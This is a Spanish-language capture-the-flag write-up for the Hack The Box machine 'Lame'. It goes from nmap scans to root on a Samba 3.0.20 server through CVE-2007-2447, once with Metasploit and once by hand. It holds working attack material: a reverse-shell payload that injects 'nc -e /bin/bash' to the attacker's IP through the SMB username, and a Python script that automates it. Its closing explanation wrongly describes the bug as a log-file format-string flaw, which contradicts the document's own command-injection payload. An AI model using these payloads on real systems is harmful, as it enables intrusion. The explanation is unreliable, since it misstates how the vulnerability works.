Lame
#easy #linux

https://www.hackthebox.com/machines/Lame
Enumeración
✅ Escaneo de puertos y servicios con nmap
https://nmap.org/
sudo nmap -p- -sS --min-rate 5000 -n -Pn -vv 10.129.54.159 -oA allPorts
sudo
Ejecuta el comando con privilegios de superusuario - https://man7.org/linux/man-pages/man8/sudo.8.html
-p-
Escaneo todos los puertos (1-65535) - https://nmap.org/book/man-port-specification.html
-sS
Escaneo sigiloso - https://nmap.org/book/synscan.html
--min-rate
Tasa de envío de paquetes mínima - https://nmap.org/book/man-performance.html
-n
No realizar resolución DNS - https://nmap.org/book/host-discovery-dns.html
-Pn
Omite el descubrimiento de host - https://nmap.org/book/man-host-discovery.html
-vv
Nivel de detalle - https://nmap.org/book/output-formats-commandline-flags.html
-oA
Guarda el resultado del escaneo en formato normal, XML y grepeable - https://nmap.org/book/output-formats-commandline-flags.html
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
3632/tcp open distccd syn-ack ttl 63
✅ Escaneo para detectar la versión de los servicios y ejecutar un conjunto de scripts predeterminados
nmap -p 21,22,139,445,3632 -sCV -Pn 10.129.54.159 -oA services
-p
Especifica los puertos a escanear separados por una coma - https://nmap.org/book/man-port-specification.html
-sC
Realiza un escaneo utilizando un conjunto de scripts predeterminado- https://nmap.org/book/man-nse.html
-sV
Detecta la versión de los servicios - https://nmap.org/book/man-version-detection.html
-oA
Guarda el resultado del escaneo en formato normal, XML y grepeable - https://nmap.org/book/output-formats-commandline-flags.html
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.119
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2025-03-30T00:07:44-04:00
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h01m45s, deviation: 2h49m45s, median: 1m42s
✅ Buscar vulnerabilidades en el servicio samba 3.0.20
https://nvd.nist.gov/vuln/detail/CVE-2007-2447
✅ Buscar vulnerabilidades en el servicio samba 3.0.20
con searchsploit
searchsploit "samba 3.0.20"
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Explotación
✅ Iniciar metasploit
sin mostrar el banner al inicio
msfconsole -q
✅ Buscar nombres de módulos relacionados al servicio samba 3.0.20
msf6 > search samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
✅ Seleccionar el módulo con índice 0
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
✅ Mostrar las opciones del módulo
msf6 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.0.127 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
✅ Configurar la IP de la máquina víctima
msf6 exploit(multi/samba/usermap_script) > set rhosts 10.129.54.159
rhosts => 10.129.54.159
✅ Configurar la IP de la máquina atacante
msf6 exploit(multi/samba/usermap_script) > set lhost 10.10.14.119
lhost => 10.10.14.119
✅ Ejecutar el módulo
msf6 exploit(multi/samba/usermap_script) > run
✅ Una vez abierta una sesión ejecutar comandos
[*] Started reverse TCP handler on 10.10.14.119:4444
[*] Command shell session 1 opened (10.10.14.119:4444 -> 10.129.54.159:54894) at 2025-03-30 01:24:37 -0300
id
uid=0(root) gid=0(root)
✅ Generar una shell interactiva
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
root@lame:/#
User flag
✅ Obtener la flag del usuario
root@lame:/# cat /home/makis/user.txt
cat /home/makis/user.txt
112e2*****************6493b
Root flag
✅ Obtener la flag de root
root@lame:/# cat /root/root.txt
cat /root/root.txt
0cc87*****************f9e67
Método alternativo sin Metasploit
✅ Enumerar los recursos compartidos en la máquina víctima
smbclient -N -L //10.129.54.159/
-N
No pide contraseña
-L
Obtiene una lista de los recursos compartidos
10.129.54.159
IP de la máquina víctima
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
✅ Ponerse en escucha con netcat en la máquina atacante
nc -lvnp 1111
-l
Modo escucha
-v
Muestra detalles
-n
No interpreta nombre de dominio y no aplica resolución DNS
-p
Número de puerto, en este caso 1111
smbclient -N //10.129.54.159/tmp
-N
No pide contraseña
10.129.54.159
IP de la máquina víctima
tmp
Recurso compartido
Cuando se ejecute el comando logon "/`nohup nc -e /bin/bash 10.10.14.119 1111`"
y pida la contraseña presionar Enter
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "/`nohup nc -e /bin/bash 10.10.14.119 1111`"
Password:
session setup failed: NT_STATUS_IO_TIMEOUT
smb: \>
logon
Iniciar sesión
nohup
Mantiene la ejecución del comando en segundo plano
nc -e
Programa que se va a ejecutar después de que se establezca la conexión, en este caso /bin/bash
10.10.14.119
IP de la máquina atacante a la que Netcat se va a conectar
1111
Puerto en el que Netcat está en escucha en la máquina atacante y al que se va a conectar la máquina víctima
nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.119] from (UNKNOWN) [10.129.54.159] 57145
id
uid=0(root) gid=0(root)
✅ Obtener una shell interactiva estable
script /dev/null -c bash
Presionar Ctrl + Z
stty raw -echo; fg
reset xterm
root@lame:/tmp# export TERM=xterm
root@lame:/tmp# export SHELL=bash
root@lame:/tmp# stty rows 44 columns 184
✅ Obtener la flag del usuario
root@lame:/tmp# cat /home/makis/user.txt
112e2*****************6493b
✅ Obtener la flag de root
root@lame:/tmp# cat /root/root.txt
0cc87*****************f9e67
Script en Python para explotar la vulnerabilidad
import os
import sys
def exploit(target_ip, attacker_ip, attacker_port):
"""
Exploits Samba vulnerability CVE-2007-2447 to gain a reverse shell.
:param target_ip: IP address of the victim machine
:param attacker_ip: IP address of the attacking machine
:param attacker_port: Port where Netcat is listening
"""
print(f"[+] Attacking {target_ip} to get a reverse shell on {attacker_ip}:{attacker_port}")
payload = f'"/`nohup nc -e /bin/bash {attacker_ip} {attacker_port}`"'
command = f'smbclient -L \\{target_ip} -N -U {payload}'
print("[+] Executing payload...")
os.system(command)
print("[+] If everything went well, check your Netcat listener.")
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python3 exploit.py <VICTIM_IP> <ATTACKER_IP> <PORT>")
sys.exit(1)
target_ip = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]
exploit(target_ip, attacker_ip, attacker_port)
Explotación de CVE-2007-2447 en Samba: Ejecución Remota de Código
La vulnerabilidad CVE-2007-2447 afecta a versiones antiguas de Samba, específicamente al uso del parámetro log file
en el archivo de configuración smb.conf
. Esta vulnerabilidad puede ser explotada por un atacante para ejecutar código de forma remota a través de un ataque de formato de cadena.
¿Cómo se ejecuta la vulnerabilidad?
En el archivo de configuración de Samba, el parámetro log file
define la ubicación y el nombre del archivo donde se almacenan los logs de las conexiones. Un ejemplo típico de configuración /etc/samba/smb.conf
vulnerable es:
#### Debugging/Accounting ####
# This tells Samba to use a separate log file for each machine
# that connects
log file = /var/log/samba/log.%m
En esta línea, el marcador de posición %m
es reemplazado por el nombre de la máquina que se conecta al servidor. Esto permite que cada cliente tenga su propio archivo de log. Sin embargo, el uso de %m
sin validación adecuada crea una vulnerabilidad cuando un atacante puede manipular el nombre de la máquina.
Proceso de ejecución
Conexión del cliente: Cuando un cliente (usuario) intenta conectarse al servidor Samba, se genera un archivo de log que contiene información sobre la conexión, como el nombre del cliente, el usuario, etc.
Generación del archivo de log: En el momento de la conexión, Samba sustituye el marcador
%m
por el nombre de la máquina que se conecta, creando un archivo de log con un nombre como/var/log/samba/log.attacker_machine
. Sin embargo, si el atacante puede controlar el valor del nombre de la máquina (por ejemplo, a través de un ataque de spoofing), puede insertar caracteres especiales o secuencias de formato de cadena maliciosas.Explotación de la vulnerabilidad: Si el atacante incluye secuencias como
%x
,%s
, u otros caracteres de formato en el nombre de la máquina, Samba intentará procesar estos caracteres al crear el archivo de log. Esto puede causar un desbordamiento de buffer o manipulación de memoria, lo que resulta en una ejecución remota de código.Ejecución remota de código: La ejecución remota de código ocurre en el momento en que el atacante establece la conexión con el servidor Samba y Samba procesa la cadena maliciosa en el nombre del archivo de log. Esto permite al atacante ejecutar comandos arbitrarios en el servidor, comprometiendo su seguridad.
¿Cuándo se produce la ejecución remota de código?
La vulnerabilidad se activa cuando un cliente se conecta al servidor Samba, ya que es en ese momento cuando Samba intenta generar el archivo de log correspondiente. Si la configuración del parámetro log file
incluye un marcador como %m
y el atacante puede controlar el nombre de la máquina, la vulnerabilidad se explota durante la creación del archivo de log. Esto da lugar a la ejecución de comandos maliciosos cuando Samba procesa el nombre del archivo de log.
Verificación del archivo de configuración y logs de Samba en el servidor vulnerable
cat /etc/samba/smb.conf
<SNIP>
#### Debugging/Accounting ####
# This tells Samba to use a separate log file for each machine
# that connects
log file = /var/log/samba/log.%m
<SNIP>
ls /var/log/samba/
log.10.10.14.119
log.127.0.0.1
log.kali
log.nmbd
log.smbd
Last updated